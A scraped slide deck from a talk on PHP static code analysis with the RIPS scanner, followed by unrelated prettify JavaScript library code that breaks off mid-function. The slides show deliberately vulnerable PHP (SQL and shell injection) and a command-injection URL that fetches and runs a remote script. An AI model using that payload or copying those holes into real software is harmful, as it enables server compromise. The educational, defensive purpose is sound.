\n\t\t\tOkay, but that was fairly obvious!\n\t\t
\n\t\n But what about...\n
\nforeach ( $_REQUEST as $key => $value )\n{\n\t$$key = $value;\n}\n...\n// 25 lines of miscellanious, unrelated code\n...\nmysqli_query(\n\t\"SELECT * FROM Users WHERE Username = '\" . $username . \"'\" );\n\t\n
\n \n
\n Source: http://lotr.wikia.com\n
\n \n \t\"Just don't do it\"\n\t\t
\n\t\n\t\t\tMy problem:\n\t\t
\n\t\t$taintedCmd = \"wc -w \" . $_GET['file'];\nshell_exec( $taintedCmd );\n\t\t\n
\n \n
\n Source: http://lotr.wikia.com\n
\n \n\t\t\tProblem:\n\t\t
\n\t\t\nhttp://example.com/?file=
\n file.txt' &&
\n wget http://dogeysite.com/hack.zip &&
\n unzip hack.zip &&
\n ./hack.sh #\n\t\t
\n\t\t\t![](\"LCA%202012_%20PHP%20Static%20Code%20Analysis_files/steelin-ur-datax.jpg\")
\n\t\t
\n First thought:\n
\ngrep -r -B 10 -i \"shell_exec\" >> commandExecutions.txt \n\n
...\nfile.php- $cmd = \"find -name '\" . $name . \"' documents/\";\nfile.php- }\nfile.php- } \nfile.php: echo shell_exec( $cmd );\n\n
\n ![](\"LCA%202012_%20PHP%20Static%20Code%20Analysis_files/rubbish-bin.png\")
\n
\n http://www.sciencephoto.com\n
\n \n But...\n
\n \n\n ![](\"LCA%202012_%20PHP%20Static%20Code%20Analysis_files/rubbish-tip.jpg\")
\n
\n http://looneytunes09.files.wordpress.com/2010/08/landfill.jpg\n
\n \n How do you detect vulnerabilities in code?\n
\n\t\n\t\t
\n\t\t\thttp://www.google.com.au/search?q=\n\t\t\t
\n\t\t\t how+do+you+detect+vulnerabilities+in+code\n\t\t
![](\"LCA%202012_%20PHP%20Static%20Code%20Analysis_files/fwse.png\")
\n\tStatic Code Analysis (SCA)
\n\t\tSource Code Analysis
\n\t\tStatic Program Analysis
\n\t\tCompile Time Analysis (well, not for PHP)
\n\tAnalysis without execution
\n\t\tOptimising compilers (e.g. g++)
\n\t\tIDE's with type checking/code completion
\n\tStep 1: Lexical analysis
\n\t\tSplit code into tokens
\n\t\tSource: http://sourceforge.net/projects/rips-scanner/files/rips-paper.pdf/download
\n\tStep 2: Semantic analysis
\n\t\tprint \"print\";\n\t\t
First print is a command
\n\t\tSecond print is a string
\n\t\tSource: http://sourceforge.net/projects/rips-scanner/files/rips-paper.pdf/download
\n\tStep 3: Control flow analysis
\n\t\tfunction firstCall( $input ) {\n\treturn secondCall( $input ) . \" - 1st\";\n}\n\nfunction secondCall( $input ) {\n\treturn $input . \" - 2nd\";\n}\n\nfirstCall( \"input\" );\n\t\t
Source: http://sourceforge.net/projects/rips-scanner/files/rips-paper.pdf/download
\n\tStep 4: Data flow analysis
\n\t\tfunction firstCall( $input ) {\n\treturn secondCall( escapeshellarg( $input ) );\n}\n\nfunction secondCall( $input ) {\n\treturn shell_exec( $input ); // Is $input safe?\n}\n\nfirstCall( $_GET['input'] ); // Safe\nsecondCall( $_GET['input'] ); // Not-safe\n\t\t
Source: http://sourceforge.net/projects/rips-scanner/files/rips-paper.pdf/download
\n\t![](\"LCA%202012_%20PHP%20Static%20Code%20Analysis_files/coke-crushed.jpg\")
\n\t\t\n\t\t\thttp://www.flickr.com/photos/ruthyyy/5000648691\n\t\t
\n\t![](\"LCA%202012_%20PHP%20Static%20Code%20Analysis_files/can-patent.png\")
\n\tRIPS - PHP Scanner
\n\t\thttp://www.phpscanner.net
\n\t\n\t\t\tExample time\n\t\t
\n\tExample 1
\n\t\tshell_exec( $_GET['input'] );\n\t\t\n\t\t
\n\t\t\thttp://rips.gamma.peter.serwylo.com/\n\t\t\t
\n\t\t\t/srv/http-rips/tests/vuln1.php\n\t\t
\n\t\n\t\t\t/srv/http-rips/tests/vuln1.php\n\t\t
Example 2
\n\t\tfunction vulnFunction( $cmd ) {\n\t$result = shell_exec( $cmd );\n}\n\nfunction intermittentFunction( $input ) {\n\t$param = \"test \" . $input . \" bleh\";\n\tvulnFunction( $param );\n}\n\n$firstHand = $_GET['input'];\n$secondHand = \"IMZ TAINTED: \" . $firstHand . \", YEAH!\";\n\nintermittentFunction( $secondHand );\n\t\t\n\t\t
\n\t\t\thttp://rips.gamma.peter.serwylo.com/\n\t\t\t
\n\t\t\t/srv/http-rips/tests/vuln2.php\n\t\t
\n\t\n\t\t\t/srv/http-rips/tests/vuln2.php\n\t\t
\n\t\t\tMiscellanious PHP projects from freecode.com\n\t\t
\n\t\t(formally freshmeat.net)
\n\t![](\"LCA%202012_%20PHP%20Static%20Code%20Analysis_files/sacrifice.jpg\")
\n\t\n\t\t\tExample 3\n\t\t
\n\t\t\n\t\t\n\t\t\t
![](\"LCA%202012_%20PHP%20Static%20Code%20Analysis_files/test-1-screenie.png\")
\n\t\t\n\t\n\t\t\tFalse Positives\n\t\t
\n\t\t\n\t\t
![](\"LCA%202012_%20PHP%20Static%20Code%20Analysis_files/custom-sanitizer.png\")
\n\t![](\"LCA%202012_%20PHP%20Static%20Code%20Analysis_files/cans-pile.jpg\")
\n\t\t\n\t\t\thttp://www.cancrusher.co.za\n\t\t
\n\t\n\t\t\tCustom Securing Functions\n\t\t
\n\t\n\t\t\t![](\"LCA%202012_%20PHP%20Static%20Code%20Analysis_files/securing-gravel.jpg\")
\n\t\t
\n\t\t\thttp://winningateverything.com\n\t\t
\n\t\n\t\tCustom Securing Functions\n\t
\n\t\n\t\n\t\tconfig/securing.php\n\t
\n\n\t// securing functions for file handling\n$F_SECURING_FILE = array(\n\t'sanitize_filename'\n);\n\t\n
\n\t\t\tCustom Securing Functions\n\t\t
\n\t\t\n\t\t\tconfig/securing.php\n\t\t
\n\t\t// securing functions for every vulnerability\n$F_SECURING_STRING = array(\n\t'sanitize_int',\n\t'intval',\n\t'floatval',\n\t'md5',\n\t...\n\t\t\n\t
\n\t\tLimitations\n\t
\n\t- \n\t\t
- OOP not supported \n\t\t
- Can't successfully resolve all includes \n\t\t
- Browser based \n\t\t
- Slow to scan \n\t
\n\t\tWhat I'd love to see\n\t
\n\t\n\t\tPlugins for php compilers (e.g. HipHop/phc/rphp)\n\t
\n\t- \n\t\t
- Written in C++ for improved performance \n\t\t
- Already have established parsers \n\t\t
- Already analyse code for optimisations \n\t
Thanks for listening
\n\t\tQuestions?
\n\t\t\n\t\n * For a fairly comprehensive set of languages see the\n * README\n * file that came with this source. At a minimum, the lexer should work on a\n * number of languages including C and friends, Java, Python, Bash, SQL, HTML,\n * XML, CSS, Javascript, and Makefiles. It works passably on Ruby, PHP and Awk\n * and a subset of Perl, but, because of commenting conventions, doesn't work on\n * Smalltalk, Lisp-like, or CAML-like languages without an explicit lang class.\n *
\n * Usage:
- \n *
- include this source file in an html page via\n * {@code }\n *
- define style rules. See the example page for examples.\n *
- mark the {@code
} and {@code} tags in your source with\n * {@code class=prettyprint.}\n * You can also use the (html deprecated) {@code} tag, but the pretty\n * printer needs to do more substantial DOM manipulations to support that, so\n * some css styles may not be preserved.\n * </ol>\n * That's it. I wanted to keep the API as simple as possible, so there's no\n * need to specify which language the code is in, but if you wish, you can add\n * another class to the {@code <pre>} or {@code <code>} element to specify the\n * language, as in {@code <pre class=\"prettyprint lang-java\">}. Any class that\n * starts with \"lang-\" followed by a file extension, specifies the file type.\n * See the \"lang-*.js\" files in this directory for code that implements\n * per-language file handlers.\n * <p>\n * Change log:<br>\n * cbeust, 2006/08/22\n * <blockquote>\n * Java annotations (start with \"@\") are now captured as literals (\"lit\")\n * </blockquote>\n * @requires console\n */\n\n// JSLint declarations\n/*global console, document, navigator, setTimeout, window */\n\n/**\n * Split {@code prettyPrint} into multiple timeouts so as not to interfere with\n * UI events.\n * If set to {@code false}, {@code prettyPrint()} is synchronous.\n */\nwindow['PR_SHOULD_USE_CONTINUATION'] = true;\n\n/** the number of characters between tab columns */\nwindow['PR_TAB_WIDTH'] = 8;\n\n/** Contains functions for creating and registering new language handlers.\n * @type {Object}\n */\nwindow['PR']\n\n/** Pretty print a chunk of code.\n *\n * @param {string} sourceCodeHtml code as html\n * @return {string} code as html, but prettier\n */\n = window['prettyPrintOne']\n/** Find all the {@code <pre>} and {@code <code>} tags in the DOM with\n * {@code class=prettyprint} and prettify them.\n * @param {Function?} opt_whenDone if specified, called when the last entry\n * has been finished.\n */\n = window['prettyPrint'] = void 0;\n\n\n(function () {\n // Keyword lists for various languages.\n var FLOW_CONTROL_KEYWORDS =\n \"break continue do else for if return while \";\n var C_KEYWORDS = FLOW_CONTROL_KEYWORDS + \"auto case char const default \" +\n \"double enum extern float goto int long register short signed sizeof \" +\n \"static struct switch typedef union unsigned void volatile \";\n var COMMON_KEYWORDS = C_KEYWORDS + \"catch class delete false import \" +\n \"new operator private protected public this throw true try typeof \";\n var CPP_KEYWORDS = COMMON_KEYWORDS + \"alignof align_union asm axiom bool \" +\n \"concept concept_map const_cast constexpr decltype \" +\n \"dynamic_cast explicit export friend inline late_check \" +\n \"mutable namespace nullptr reinterpret_cast static_assert static_cast \" +\n \"template typeid typename using virtual wchar_t where \";\n var JAVA_KEYWORDS = COMMON_KEYWORDS +\n \"abstract boolean byte extends final finally implements import \" +\n \"instanceof null native package strictfp super synchronized throws \" +\n \"transient \";\n var CSHARP_KEYWORDS = JAVA_KEYWORDS +\n \"as base by checked decimal delegate descending dynamic event \" +\n \"fixed foreach from group implicit in interface internal into is lock \" +\n \"object out override orderby params partial readonly ref sbyte sealed \" +\n \"stackalloc string select uint ulong unchecked unsafe ushort var \";\n var COFFEE_KEYWORDS = \"all and by catch class else extends false finally \" +\n \"for if in is isnt loop new no not null of off on or return super then \" +\n \"true try unless until when while yes \";\n var JSCRIPT_KEYWORDS = COMMON_KEYWORDS +\n \"debugger eval export function get null set undefined var with \" +\n \"Infinity NaN \";\n var PERL_KEYWORDS = \"caller delete die do dump elsif eval exit foreach for \" +\n \"goto if import last local my next no our print package redo require \" +\n \"sub undef unless until use wantarray while BEGIN END \";\n var PYTHON_KEYWORDS = FLOW_CONTROL_KEYWORDS + \"and as assert class def del \" +\n \"elif except exec finally from global import in is lambda \" +\n \"nonlocal not or pass print raise try with yield \" +\n \"False True None \";\n var RUBY_KEYWORDS = FLOW_CONTROL_KEYWORDS + \"alias and begin case class def\" +\n \" defined elsif end ensure false in module next nil not or redo rescue \" +\n \"retry self super then true undef unless until when yield BEGIN END \";\n var SH_KEYWORDS = FLOW_CONTROL_KEYWORDS + \"case done elif esac eval fi \" +\n \"function in local set then until \";\n var ALL_KEYWORDS = (\n CPP_KEYWORDS + CSHARP_KEYWORDS + JSCRIPT_KEYWORDS + PERL_KEYWORDS +\n PYTHON_KEYWORDS + RUBY_KEYWORDS + SH_KEYWORDS);\n\n // token style names. correspond to css classes\n /** token style for a string literal */\n var PR_STRING = 'str';\n /** token style for a keyword */\n var PR_KEYWORD = 'kwd';\n /** token style for a comment */\n var PR_COMMENT = 'com';\n /** token style for a type */\n var PR_TYPE = 'typ';\n /** token style for a literal value. e.g. 1, null, true. */\n var PR_LITERAL = 'lit';\n /** token style for a punctuation string. */\n var PR_PUNCTUATION = 'pun';\n /** token style for a punctuation string. */\n var PR_PLAIN = 'pln';\n\n /** token style for an sgml tag. */\n var PR_TAG = 'tag';\n /** token style for a markup declaration such as a DOCTYPE. */\n var PR_DECLARATION = 'dec';\n /** token style for embedded source. */\n var PR_SOURCE = 'src';\n /** token style for an sgml attribute name. */\n var PR_ATTRIB_NAME = 'atn';\n /** token style for an sgml attribute value. */\n var PR_ATTRIB_VALUE = 'atv';\n\n /**\n * A class that indicates a section of markup that is not code, e.g. to allow\n * embedding of line numbers within code listings.\n */\n var PR_NOCODE = 'nocode';\n\n /** A set of tokens that can precede a regular expression literal in\n * javascript.\n * http://www.mozilla.org/js/language/js20/rationale/syntax.html has the full\n * list, but I've removed ones that might be problematic when seen in\n * languages that don't support regular expression literals.\n *\n * <p>Specifically, I've removed any keywords that can't precede a regexp\n * literal in a syntactically legal javascript program, and I've removed the\n * \"in\" keyword since it's not a keyword in many languages, and might be used\n * as a count of inches.\n *\n * <p>The link a above does not accurately describe EcmaScript rules since\n * it fails to distinguish between (a=++/b/i) and (a++/b/i) but it works\n * very well in practice.\n *\n * @private\n */\n var REGEXP_PRECEDER_PATTERN = function () {\n var preceders = [\n \"!\", \"!=\", \"!==\", \"#\", \"%\", \"%=\", \"&\", \"&&\", \"&&=\",\n \"&=\", \"(\", \"*\", \"*=\", /* \"+\", */ \"+=\", \",\", /* \"-\", */ \"-=\",\n \"->\", /*\".\", \"..\", \"...\", handled below */ \"/\", \"/=\", \":\", \"::\", \";\",\n \"<\", \"<<\", \"<<=\", \"<=\", \"=\", \"==\", \"===\", \">\",\n \">=\", \">>\", \">>=\", \">>>\", \">>>=\", \"?\", \"@\", \"[\",\n \"^\", \"^=\", \"^^\", \"^^=\", \"{\", \"|\", \"|=\", \"||\",\n \"||=\", \"~\" /* handles =~ and !~ */,\n \"break\", \"case\", \"continue\", \"delete\",\n \"do\", \"else\", \"finally\", \"instanceof\",\n \"return\", \"throw\", \"try\", \"typeof\"\n ];\n var pattern = '(?:^^|[+-]';\n for (var i = 0; i < preceders.length; ++i) {\n pattern += '|' + preceders[i].replace(/([^=<>:&a-z])/g, '\\\\$1');\n }\n pattern += ')\\\\s*'; // matches at end, and matches empty string\n return pattern;\n // CAVEAT: this does not properly handle the case where a regular\n // expression immediately follows another since a regular expression may\n // have flags for case-sensitivity and the like. Having regexp tokens\n // adjacent is not valid in any language I'm aware of, so I'm punting.\n // TODO: maybe style special characters inside a regexp as punctuation.\n }();\n\n \n /**\n * Given a group of {@link RegExp}s, returns a {@code RegExp} that globally\n * matches the union of the sets of strings matched by the input RegExp.\n * Since it matches globally, if the input strings have a start-of-input\n * anchor (/^.../), it is ignored for the purposes of unioning.\n * @param {Array.<RegExp>} regexs non multiline, non-global regexs.\n * @return {RegExp} a global regex.\n */\n function combinePrefixPatterns(regexs) {\n var capturedGroupIndex = 0;\n \n var needToFoldCase = false;\n var ignoreCase = false;\n for (var i = 0, n = regexs.length; i < n; ++i) {\n var regex = regexs[i];\n if (regex.ignoreCase) {\n ignoreCase = true;\n } else if (/[a-z]/i.test(regex.source.replace(\n /\\\\u[0-9a-f]{4}|\\\\x[0-9a-f]{2}|\\\\[^ux]/gi, ''))) {\n needToFoldCase = true;\n ignoreCase = false;\n break;\n }\n }\n \n function decodeEscape(charsetPart) {\n if (charsetPart.charAt(0) !== '\\\\') { return charsetPart.charCodeAt(0); }\n switch (charsetPart.charAt(1)) {\n case 'b': return 8;\n case 't': return 9;\n case 'n': return 0xa;\n case 'v': return 0xb;\n case 'f': return 0xc;\n case 'r': return 0xd;\n case 'u': case 'x':\n return parseInt(charsetPart.substring(2), 16)\n || charsetPart.charCodeAt(1);\n case '0': case '1': case '2': case '3': case '4':\n case '5': case '6': case '7':\n return parseInt(charsetPart.substring(1), 8);\n default: return charsetPart.charCodeAt(1);\n }\n }\n \n function encodeEscape(charCode) {\n if (charCode < 0x20) {\n return (charCode < 0x10 ? '\\\\x0' : '\\\\x') + charCode.toString(16);\n }\n var ch = String.fromCharCode(charCode);\n if (ch === '\\\\' || ch === '-' || ch === '[' || ch === ']') {\n ch = '\\\\' + ch;\n }\n return ch;\n }\n \n function caseFoldCharset(charSet) {\n var charsetParts = charSet.substring(1, charSet.length - 1).match(\n new RegExp(\n '\\\\\\\\u[0-9A-Fa-f]{4}'\n + '|\\\\\\\\x[0-9A-Fa-f]{2}'\n + '|\\\\\\\\[0-3][0-7]{0,2}'\n + '|\\\\\\\\[0-7]{1,2}'\n + '|\\\\\\\\[\\\\s\\\\S]'\n + '|-'\n + '|[^-\\\\\\\\]',\n 'g'));\n var groups = [];\n var ranges = [];\n var inverse = charsetParts[0] === '^';\n for (var i = inverse ? 1 : 0, n = charsetParts.length; i < n; ++i) {\n var p = charsetParts[i];\n switch (p) {\n case '\\\\B': case '\\\\b':\n case '\\\\D': case '\\\\d':\n case '\\\\S': case '\\\\s':\n case '\\\\W': case '\\\\w':\n groups.push(p);\n continue;\n }\n var start = decodeEscape(p);\n var end;\n if (i + 2 < n && '-' === charsetParts[i + 1]) {\n end = decodeEscape(charsetParts[i + 2]);\n i += 2;\n } else {\n end = start;\n }\n ranges.push([start, end]);\n // If the range might intersect letters, then expand it.\n if (!(end < 65 || start > 122)) {\n if (!(end < 65 || start > 90)) {\n ranges.push([Math.max(65, start) | 32, Math.min(end, 90) | 32]);\n }\n if (!(end < 97 || start > 122)) {\n ranges.push([Math.max(97, start) & ~32, Math.min(end, 122) & ~32]);\n }\n }\n }\n \n // [[1, 10], [3, 4], [8, 12], [14, 14], [16, 16], [17, 17]]\n // -> [[1, 12], [14, 14], [16, 17]]\n ranges.sort(function (a, b) { return (a[0] - b[0]) || (b[1] - a[1]); });\n var consolidatedRanges = [];\n var lastRange = [NaN, NaN];\n for (var i = 0; i < ranges.length; ++i) {\n var range = ranges[i];\n if (range[0] <= lastRange[1] + 1) {\n lastRange[1] = Math.max(lastRange[1], range[1]);\n } else {\n consolidatedRanges.push(lastRange = range);\n }\n }\n \n var out = ['['];\n if (inverse) { out.push('^'); }\n out.push.apply(out, groups);\n for (var i = 0; i < consolidatedRanges.length; ++i) {\n var range = consolidatedRanges[i];\n out.push(encodeEscape(range[0]));\n if (range[1] > range[0]) {\n if (range[1] + 1 > range[0]) { out.push('-'); }\n out.push(encodeEscape(range[1]));\n }\n }\n out.push(']');\n return out.join('');\n }\n \n function allowAnywhereFoldCaseAndRenumberGroups(regex) {\n // Split into character sets, escape sequences, punctuation strings\n // like ('(', '(?:', ')', '^'), and runs of characters that do not\n // include any of the above.\n var parts = regex.source.match(\n new RegExp(\n '(?:'\n + '\\\\[(?:[^\\\\x5C\\\\x5D]|\\\\\\\\[\\\\s\\\\S])*\\\\]' // a character set\n + '|\\\\\\\\u[A-Fa-f0-9]{4}' // a unicode escape\n + '|\\\\\\\\x[A-Fa-f0-9]{2}' // a hex escape\n + '|\\\\\\\\[0-9]+' // a back-reference or octal escape\n + '|\\\\\\\\[^ux0-9]' // other escape sequence\n + '|\\\\(\\\\?[:!=]' // start of a non-capturing group\n + '|[\\\\(\\\\)\\\\^]' // start/emd of a group, or line start\n + '|[^\\\\x5B\\\\x5C\\\\(\\\\)\\\\^]+' // run of other characters\n + ')',\n 'g'));\n var n = parts.length;\n \n // Maps captured group numbers to the number they will occupy in\n // the output or to -1 if that has not been determined, or to\n // undefined if they need not be capturing in the output.\n var capturedGroups = [];\n \n // Walk over and identify back references to build the capturedGroups\n // mapping.\n for (var i = 0, groupIndex = 0; i < n; ++i) {\n var p = parts[i];\n if (p === '(') {\n // groups are 1-indexed, so max group index is count of '('\n ++groupIndex;\n } else if ('\\\\' === p.charAt(0)) {\n var decimalValue = +p.substring(1);\n if (decimalValue && decimalValue <= groupIndex) {\n capturedGroups[decimalValue] = -1;\n }\n }\n }\n \n // Renumber groups and reduce capturing groups to non-capturing groups\n // where possible.\n for (var i = 1; i < capturedGroups.length; ++i) {\n if (-1 === capturedGroups[i]) {\n capturedGroups[i] = ++capturedGroupIndex;\n }\n }\n for (var i = 0, groupIndex = 0; i < n; ++i) {\n var p = parts[i];\n if (p === '(') {\n ++groupIndex;\n if (capturedGroups[groupIndex] === undefined) {\n parts[i] = '(?:';\n }\n } else if ('\\\\' === p.charAt(0)) {\n var decimalValue = +p.substring(1);\n if (decimalValue && decimalValue <= groupIndex) {\n parts[i] = '\\\\' + capturedGroups[groupIndex];\n }\n }\n }\n \n // Remove any prefix anchors so that the output will match anywhere.\n // ^^ really does mean an anchored match though.\n for (var i = 0, groupIndex = 0; i < n; ++i) {\n if ('^' === parts[i] && '^' !== parts[i + 1]) { parts[i] = ''; }\n }\n \n // Expand letters to groups to handle mixing of case-sensitive and\n // case-insensitive patterns if necessary.\n if (regex.ignoreCase && needToFoldCase) {\n for (var i = 0; i < n; ++i) {\n var p = parts[i];\n var ch0 = p.charAt(0);\n if (p.length >= 2 && ch0 === '[') {\n parts[i] = caseFoldCharset(p);\n } else if (ch0 !== '\\\\') {\n // TODO: handle letters in numeric escapes.\n parts[i] = p.replace(\n /[a-zA-Z]/g,\n function (ch) {\n var cc = ch.charCodeAt(0);\n return '[' + String.fromCharCode(cc & ~32, cc | 32) + ']';\n });\n }\n }\n }\n \n return parts.join('');\n }\n \n var rewritten = [];\n for (var i = 0, n = regexs.length; i < n; ++i) {\n var regex = regexs[i];\n if (regex.global || regex.multiline) { throw new Error('' + regex); }\n rewritten.push(\n '(?:' + allowAnywhereFoldCaseAndRenumberGroups(regex) + ')');\n }\n \n return new RegExp(rewritten.join('|'), ignoreCase ? 'gi' : 'g');\n }\n\n\n /**\n * Split markup into a string of source code and an array mapping ranges in\n * that string to the text nodes in which they appear.\n *\n * <p>\n * The HTML DOM structure:</p>\n * <pre>\n * (Element \"p\"\n * (Element \"b\"\n * (Text \"print \")) ; #1\n * (Text \"'Hello '\") ; #2\n * (Element \"br\") ; #3\n * (Text \" + 'World';\")) ; #4\n * </pre>\n * <p>\n * corresponds to the HTML\n * {@code <p><b>print </b>'Hello '<br> + 'World';</p>}.</p>\n *\n * <p>\n * It will produce the output:</p>\n * <pre>\n * {\n * source: \"print 'Hello '\\n + 'World';\",\n * // 1 2\n * // 012345678901234 5678901234567\n * spans: [0, #1, 6, #2, 14, #3, 15, #4]\n * }\n * </pre>\n * <p>\n * where #1 is a reference to the {@code \"print \"} text node above, and so\n * on for the other text nodes.\n * </p>\n *\n * <p>\n * The {@code} spans array is an array of pairs. Even elements are the start\n * indices of substrings, and odd elements are the text nodes (or BR elements)\n * that contain the text for those substrings.\n * Substrings continue until the next index or the end of the source.\n * </p>\n *\n * @param {Node} node an HTML DOM subtree containing source-code.\n * @return {Object} source code and the text nodes in which they occur.\n */\n function extractSourceSpans(node) {\n var nocode = /(?:^|\\s)nocode(?:\\s|$)/;\n \n var chunks = [];\n var length = 0;\n var spans = [];\n var k = 0;\n \n var whitespace;\n if (node.currentStyle) {\n whitespace = node.currentStyle.whiteSpace;\n } else if (window.getComputedStyle) {\n whitespace = document.defaultView.getComputedStyle(node, null)\n .getPropertyValue('white-space');\n }\n var isPreformatted = whitespace && 'pre' === whitespace.substring(0, 3);\n \n function walk(node) {\n switch (node.nodeType) {\n case 1: // Element\n if (nocode.test(node.className)) { return; }\n for (var child = node.firstChild; child; child = child.nextSibling) {\n walk(child);\n }\n var nodeName = node.nodeName;\n if ('BR' === nodeName || 'LI' === nodeName) {\n chunks[k] = '\\n';\n spans[k << 1] = length++;\n spans[(k++ << 1) | 1] = node;\n }\n break;\n case 3: case 4: // Text\n var text = node.nodeValue;\n if (text.length) {\n if (!isPreformatted) {\n text = text.replace(/[ \\t\\r\\n]+/g, ' ');\n } else {\n text = text.replace(/\\r\\n?/g, '\\n'); // Normalize newlines.\n }\n // TODO: handle tabs here?\n chunks[k] = text;\n spans[k << 1] = length;\n length += text.length;\n spans[(k++ << 1) | 1] = node;\n }\n break;\n }\n }\n \n walk(node);\n \n return {\n source: chunks.join('').replace(/\\n$/, ''),\n spans: spans\n };\n }\n\n\n /**\n * Apply the given language handler to sourceCode and add the resulting\n * decorations to out.\n * @param {number} basePos the index of sourceCode within the chunk of source\n * whose decorations are already present on out.\n */\n function appendDecorations(basePos, sourceCode, langHandler, out) {\n if (!sourceCode) { return; }\n var job = {\n source: sourceCode,\n basePos: basePos\n };\n langHandler(job);\n out.push.apply(out, job.decorations);\n }\n\n /** Given triples of [style, pattern, context] returns a lexing function,\n * The lexing function interprets the patterns to find token boundaries and\n * returns a decoration list of the form\n * [index_0, style_0, index_1, style_1, ..., index_n, style_n]\n * where index_n is an index into the sourceCode, and style_n is a style\n * constant like PR_PLAIN. index_n-1 <= index_n, and style_n-1 applies to\n * all characters in sourceCode[index_n-1:index_n].\n *\n * The stylePatterns is a list whose elements have the form\n * [style : string, pattern : RegExp, DEPRECATED, shortcut : string].\n *\n * Style is a style constant like PR_PLAIN, or can be a string of the\n * form 'lang-FOO', where FOO is a language extension describing the\n * language of the portion of the token in $1 after pattern executes.\n * E.g., if style is 'lang-lisp', and group 1 contains the text\n * '(hello (world))', then that portion of the token will be passed to the\n * registered lisp handler for formatting.\n * The text before and after group 1 will be restyled using this decorator\n * so decorators should take care that this doesn't result in infinite\n * recursion. For example, the HTML lexer rule for SCRIPT elements looks\n * something like ['lang-js', /<[s]cript>(.+?)<\\/script>/]. This may match\n * '<script>foo()<\\/script>', which would cause the current decorator to\n * be called with '<script>' which would not match the same rule since\n * group 1 must not be empty, so it would be instead styled as PR_TAG by\n * the generic tag rule. The handler registered for the 'js' extension would\n * then be called with 'foo()', and finally, the current decorator would\n * be called with '<\\/script>' which would not match the original rule and\n * so the generic tag rule would identify it as a tag.\n *\n * Pattern must only match prefixes, and if it matches a prefix, then that\n * match is considered a token with the same style.\n *\n * Context is applied to the last non-whitespace, non-comment token\n * recognized.\n *\n * Shortcut is an optional string of characters, any of which, if the first\n * character, gurantee that this pattern and only this pattern matches.\n *\n * @param {Array} shortcutStylePatterns patterns that always start with\n * a known character. Must have a shortcut string.\n * @param {Array} fallthroughStylePatterns patterns that will be tried in\n * order if the shortcut ones fail. May have shortcuts.\n *\n * @return {function (Object)} a\n * function that takes source code and returns a list of decorations.\n */\n function createSimpleLexer(shortcutStylePatterns, fallthroughStylePatterns) {\n var shortcuts = {};\n var tokenizer;\n (function () {\n var allPatterns = shortcutStylePatterns.concat(fallthroughStylePatterns);\n var allRegexs = [];\n var regexKeys = {};\n for (var i = 0, n = allPatterns.length; i < n; ++i) {\n var patternParts = allPatterns[i];\n var shortcutChars = patternParts[3];\n if (shortcutChars) {\n for (var c = shortcutChars.length; --c >= 0;) {\n shortcuts[shortcutChars.charAt(c)] = patternParts;\n }\n }\n var regex = patternParts[1];\n var k = '' + regex;\n if (!regexKeys.hasOwnProperty(k)) {\n allRegexs.push(regex);\n regexKeys[k] = null;\n }\n }\n allRegexs.push(/[\\0-\\uffff]/);\n tokenizer = combinePrefixPatterns(allRegexs);\n })();\n\n var nPatterns = fallthroughStylePatterns.length;\n var notWs = /\\S/;\n\n /**\n * Lexes job.source and produces an output array job.decorations of style\n * classes preceded by the position at which they start in job.source in\n * order.\n *\n * @param {Object} job an object like {@code\n * source: {string} sourceText plain text,\n * basePos: {int} position of job.source in the larger chunk of\n * sourceCode.\n * }\n */\n var decorate = function (job) {\n var sourceCode = job.source, basePos = job.basePos;\n /** Even entries are positions in source in ascending order. Odd enties\n * are style markers (e.g., PR_COMMENT) that run from that position until\n * the end.\n * @type {Array.<number|string>}\n */\n var decorations = [basePos, PR_PLAIN];\n var pos = 0; // index into sourceCode\n var tokens = sourceCode.match(tokenizer) || [];\n var styleCache = {};\n\n for (var ti = 0, nTokens = tokens.length; ti < nTokens; ++ti) {\n var token = tokens[ti];\n var style = styleCache[token];\n var match = void 0;\n\n var isEmbedded;\n if (typeof style === 'string') {\n isEmbedded = false;\n } else {\n var patternParts = shortcuts[token.charAt(0)];\n if (patternParts) {\n match = token.match(patternParts[1]);\n style = patternParts[0];\n } else {\n for (var i = 0; i < nPatterns; ++i) {\n patternParts = fallthroughStylePatterns[i];\n match = token.match(patternParts[1]);\n if (match) {\n style = patternParts[0];\n break;\n }\n }\n\n if (!match) { // make sure that we make progress\n style = PR_PLAIN;\n }\n }\n\n isEmbedded = style.length >= 5 && 'lang-' === style.substring(0, 5);\n if (isEmbedded && !(match && typeof match[1] === 'string')) {\n isEmbedded = false;\n style = PR_SOURCE;\n }\n\n if (!isEmbedded) { styleCache[token] = style; }\n }\n\n var tokenStart = pos;\n pos += token.length;\n\n if (!isEmbedded) {\n decorations.push(basePos + tokenStart, style);\n } else { // Treat group 1 as an embedded block of source code.\n var embeddedSource = match[1];\n var embeddedSourceStart = token.indexOf(embeddedSource);\n var embeddedSourceEnd = embeddedSourceStart + embeddedSource.length;\n if (match[2]) {\n // If embeddedSource can be blank, then it would match at the\n // beginning which would cause us to infinitely recurse on the\n // entire token, so we catch the right context in match[2].\n embeddedSourceEnd = token.length - match[2].length;\n embeddedSourceStart = embeddedSourceEnd - embeddedSource.length;\n }\n var lang = style.substring(5);\n // Decorate the left of the embedded source\n appendDecorations(\n basePos + tokenStart,\n token.substring(0, embeddedSourceStart),\n decorate, decorations);\n // Decorate the embedded source\n appendDecorations(\n basePos + tokenStart + embeddedSourceStart,\n embeddedSource,\n langHandlerForExtension(lang, embeddedSource),\n decorations);\n // Decorate the right of the embedded section\n appendDecorations(\n basePos + tokenStart + embeddedSourceEnd,\n token.substring(embeddedSourceEnd),\n decorate, decorations);\n }\n }\n job.decorations = decorations;\n };\n return decorate;\n }\n\n /** returns a function that produces a list of decorations from source text.\n *\n * This code treats \", ', and ` as string delimiters, and \\ as a string\n * escape. It does not recognize perl's qq() style strings.\n * It has no special handling for double delimiter escapes as in basic, or\n * the tripled delimiters used in python, but should work on those regardless\n * although in those cases a single string literal may be broken up into\n * multiple adjacent string literals.\n *\n * It recognizes C, C++, and shell style comments.\n *\n * @param {Object} options a set of optional parameters.\n * @return {function (Object)} a function that examines the source code\n * in the input job and builds the decoration list.\n */\n function sourceDecorator(options) {\n var shortcutStylePatterns = [], fallthroughStylePatterns = [];\n if (options['tripleQuotedStrings']) {\n // '''multi-line-string''', 'single-line-string', and double-quoted\n shortcutStylePatterns.push(\n [PR_STRING, 